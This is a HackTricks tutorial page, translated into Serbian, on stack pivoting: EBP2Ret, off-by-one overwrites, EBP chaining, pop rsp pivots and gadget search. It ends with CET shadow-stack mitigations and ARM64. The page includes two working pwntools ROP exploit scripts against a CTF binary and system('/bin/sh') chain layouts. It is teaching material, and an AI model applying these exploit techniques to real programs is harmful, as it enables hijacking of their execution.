# Stack Pivoting - EBP2Ret - EBP chaining {{#include ../../banners/hacktricks-training.md}} ## Osnovne informacije Ova tehnika koristi sposobnost manipulacije **Base Pointer (EBP/RBP)** da poveže izvršavanje više funkcija kroz pažljivu upotrebu frame pointer-a i **`leave; ret`** instrukcijske sekvence. Kao podsetnik, na x86/x86-64 **`leave`** je ekvivalentno: ``` mov rsp, rbp ; mov esp, ebp on x86 pop rbp ; pop ebp on x86 ret ``` And as the saved **EBP/RBP is in the stack** before the saved EIP/RIP, it's possible to control it by controlling the stack. > Napomene > - Na 64-bit, zamenite EBP→RBP i ESP→RSP. Semantika je ista. > - Neki kompajleri izostavljaju pokazivač okvira (vidi “EBP možda neće biti korišćen”). U tom slučaju, `leave` možda neće biti prisutan i ova tehnika neće raditi. ### EBP2Ret Ova tehnika je posebno korisna kada možete **izmeniti sačuvani EBP/RBP, ali nemate direktan način da promenite EIP/RIP**. Ona koristi ponašanje epiloga funkcije. Ako, tokom izvršenja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode/ROP lanca (plus 8 bajtova na amd64 / 4 bajta na x86 da bi se uzela u obzir `pop`), možete indirektno kontrolisati RIP. Kada funkcija vrati, `leave` postavlja RSP na kreiranu lokaciju, a sledeći `pop rbp` smanjuje RSP, **efikasno ga usmeravajući na adresu koju je napadač sačuvao tamo**. Tada će `ret` koristiti tu adresu. Napomena kako **morate znati 2 adrese**: adresu na koju će ESP/RSP ići, i vrednost sačuvanu na toj adresi koju će `ret` konzumirati. #### Konstrukcija Eksploata Prvo morate znati **adresu na kojoj možete pisati proizvoljne podatke/adrese**. RSP će pokazivati ovde i **konzumiraće prvi `ret`**. Zatim, morate izabrati adresu koju koristi `ret` koja će **preneti izvršenje**. Možete koristiti: - Validnu [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu. - Adresu **`system()`** praćenu odgovarajućim povratkom i argumentima (na x86: `ret` cilj = `&system`, zatim 4 bajta smeća, zatim `&"/bin/sh"`). - Adresu **`jmp esp;`** gadgeta ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) praćenu inline shellcode-om. - [**ROP**](../rop-return-oriented-programing/index.html) lanac postavljen u memoriji koja se može pisati. Zapamtite da pre bilo koje od ovih adresa u kontrolisanoj oblasti, mora biti **prostora za `pop ebp/rbp`** iz `leave` (8B na amd64, 4B na x86). Možete iskoristiti ove bajtove da postavite **drugi lažni EBP** i zadržite kontrolu nakon što se prvi poziv vrati. #### Off-By-One Eksploit Postoji varijanta koja se koristi kada možete **samo izmeniti najmanje značajan bajt sačuvanog EBP/RBP**. U tom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri/pet bajtova sa originalnim EBP/RBP tako da prepisivanje od 1 bajta može preusmeriti. Obično se nizak bajt (offset 0x00) povećava da bi se skočilo što je dalje moguće unutar obližnje stranice/usaglašene oblasti. Takođe je uobičajeno koristiti RET klizaljku u steku i staviti pravi ROP lanac na kraju kako bi se povećala verovatnoća da novi RSP pokazuje unutar klizaljke i da se izvrši konačni ROP lanac. ### EBP Lanci Postavljanjem kontrolisane adrese u sačuvani `EBP` slot steka i `leave; ret` gadgeta u `EIP/RIP`, moguće je **premestiti `ESP/RSP` na adresu koju kontroliše napadač**. Sada je `RSP` pod kontrolom i sledeća instrukcija je `ret`. Stavite u kontrolisanu memoriju nešto poput: - `&(next fake EBP)` -> Učitano sa `pop ebp/rbp` iz `leave`. - `&system()` -> Pozvano sa `ret`. - `&(leave;ret)` -> Nakon što `system` završi, premesti RSP na sledeći lažni EBP i nastavlja. - `&("/bin/sh")` -> Argument za `system`. Na ovaj način je moguće povezati nekoliko lažnih EBPa kako bi se kontrolisao tok programa. Ovo je kao [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ali složenije i korisno samo u ivicama. Štaviše, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **stack leak** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice: ```python from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) log.success(f'Buffer: {hex(buffer)}') LEAVE_RET = 0x40117c POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( 0x0, # rbp (could be the address of another fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP) payload += flat( buffer, # Load leaked address in RBP LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` > amd64 alignment tip: System V ABI zahteva 16-bajtno poravnanje steka na mestima poziva. Ako vaša lanac poziva funkcije kao što je `system`, dodajte uređaj za poravnanje (npr., `ret`, ili `sub rsp, 8 ; ret`) pre poziva kako biste održali poravnanje i izbegli `movaps` rušenja. ## EBP možda neće biti korišćen Kao [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa nekim optimizacijama ili sa izostavljanjem pokazivača okvira, **EBP/RBP nikada ne kontroliše ESP/RSP**. Stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP/RBP će propasti jer prolog/epilog ne obnavlja sa pokazivača okvira. - Nije optimizovano / pokazivač okvira korišćen: ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp sub $0x100,%esp # increase stack size . . . leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - Optimizovano / pokazivač okvira izostavljen: ```bash push %ebx # save callee-saved register sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size pop %ebx # restore ret # return ``` Na amd64 često ćete videti `pop rbp ; ret` umesto `leave ; ret`, ali ako je pokazivač okvira potpuno izostavljen, tada ne postoji `rbp`-bazirani epilog kroz koji se može pivotirati. ## Drugi načini za kontrolu RSP ### `pop rsp` gadget [**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za taj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a postojala je **`pop rsp` gadget** i postoji **leak sa steka**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user log.success(f'Buffer: {hex(buffer)}') POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( 0, # r13 0, # r14 0, # r15 POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, # r15 elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( POP_CHAIN, buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` ### xchg , rsp gadget ``` pop <=== return pointer xchg , rsp ``` ### jmp esp Proverite ret2esp tehniku ovde: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} ### Brzo pronalaženje pivot gadgeta Koristite svoj omiljeni alat za pronalaženje gadgeta da biste pretražili klasične pivot primitivne: - `leave ; ret` na funkcijama ili u bibliotekama - `pop rsp` / `xchg rax, rsp ; ret` - `add rsp, ; ret` (ili `add esp, ; ret` na x86) Primeri: ```bash # Ropper ropper --file ./vuln --search "leave; ret" ropper --file ./vuln --search "pop rsp" ropper --file ./vuln --search "xchg rax, rsp ; ret" # ROPgadget ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp" ``` ### Класични образац за пивотирање Робустна стратегија пивотирања која се користи у многим CTF-овима/експлоатима: 1) Користите мали иницијални прелив да позовете `read`/`recv` у велику област за писање (нпр., `.bss`, хип, или мапирана RW меморија) и поставите потпуну ROP ланцу тамо. 2) Вратите се у пивот гажет (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) да преместите RSP у ту област. 3) Наставите са постављеним ланцем (нпр., откријте libc, позовите `mprotect`, затим `read` shellcode, а затим скочите на њега). ## Савремене мере које прекидају пивотирање стека (CET/Shadow Stack) Савремени x86 ЦПУ-ови и ОС-ови све више примењују **CET Shadow Stack (SHSTK)**. Са укљученим SHSTK, `ret` упоређује адресу повратка на нормалном стеку са хардверски заштићеним сенчним стеком; свака неслагања подижу Control-Protection грешку и убијају процес. Стога, технике као што су EBP2Ret/leave;ret-базирани пивоти ће се срушити чим се изврши први `ret` из пивотираног стека. - За позадину и дубље детаље погледајте: {{#ref}} ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md {{#endref}} - Брзи прегледи на Линуксу: ```bash # 1) Is the binary/toolchain CET-marked? readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)' # 2) Is the CPU/kernel capable? grep -E 'user_shstk|ibt' /proc/cpuinfo # 3) Is SHSTK active for this process? grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss) # 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags (gdb) checksec ``` - Beleške za labove/CTF: - Neke moderne distribucije omogućavaju SHSTK za CET-omogućene binarne datoteke kada su prisutni hardverska i glibc podrška. Za kontrolisano testiranje u VM-ovima, SHSTK se može onemogućiti sistemski putem parametra za pokretanje kernela `nousershstk`, ili selektivno omogućiti putem glibc podešavanja tokom pokretanja (vidi reference). Ne onemogućavajte mitigacije na produkcionim ciljevima. - JOP/COOP ili SROP zasnovane tehnike bi mogle biti izvodljive na nekim ciljevima, ali SHSTK posebno prekida `ret`-zasnovane pivote. - Napomena za Windows: Windows 10+ izlaže korisnički režim, a Windows 11 dodaje kernel-režim "Zaštita steka zasnovana na hardveru" izgrađena na senčanim stekovima. Procesi kompatibilni sa CET sprečavaju pivotiranje steka/ROP na `ret`; programeri se prijavljuju putem CETCOMPAT i povezanih politika (vidi referencu). ## ARM64 U ARM64, **prolog i epilog** funkcija **ne čuvaju i ne preuzimaju SP registar** u steku. Štaviše, **`RET`** instrukcija se ne vraća na adresu koju pokazuje SP, već **na adresu unutar `x30`**. Stoga, po defaultu, samo zloupotrebljavajući epilog **nećete moći da kontrolišete SP registar** prepisivanjem nekih podataka unutar steka. I čak i ako uspete da kontrolišete SP, i dalje bi vam bila potrebna mogućnost da **kontrolišete `x30`** registar. - prolog ```armasm sub sp, sp, 16 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 mov x29, sp // FP pokazuje na okvir zapisa ``` - epilog ```armasm ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] add sp, sp, 16 ret ``` > [!CAUTION] > Način da se izvede nešto slično pivotiranju steka u ARM64 bio bi da se može **kontrolisati `SP`** (kontrolisanjem nekog registra čija se vrednost prosleđuje `SP` ili zato što iz nekog razloga `SP` uzima svoju adresu iz steka i imamo preliv) i zatim **zloupotrebljavati epilog** da se učita **`x30`** registar iz **kontrolisanog `SP`** i **`RET`** na njega. Takođe, na sledećoj stranici možete videti ekvivalent **Ret2esp u ARM64**: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} ## Reference - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - 64 bita, eksploatacija off by one sa rop lancem koji počinje sa ret sled - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - 64 bita, bez relro, kanar, nx i pie. Program omogućava leak za stek ili pie i WWW za qword. Prvo dobijte leak steka i koristite WWW da se vratite i dobijete leak pie. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući `.fini_array` unose + pozivajući `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Zloupotrebljavajući ovo "večito" pisanje, u .bss se piše ROP lanac i završava pozivajući ga pivotiranjem sa RBP. - Dokumentacija Linux kernela: Tehnologija za sprovođenje kontrole toka (CET) Senčani stek — detalji o SHSTK, `nousershstk`, `/proc/$PID/status` zastavicama i omogućavanju putem `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Zaštita steka zasnovana na hardveru u režimu kernela (CET senčani stekovi na Windows-u). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection {{#include ../../banners/hacktricks-training.md}}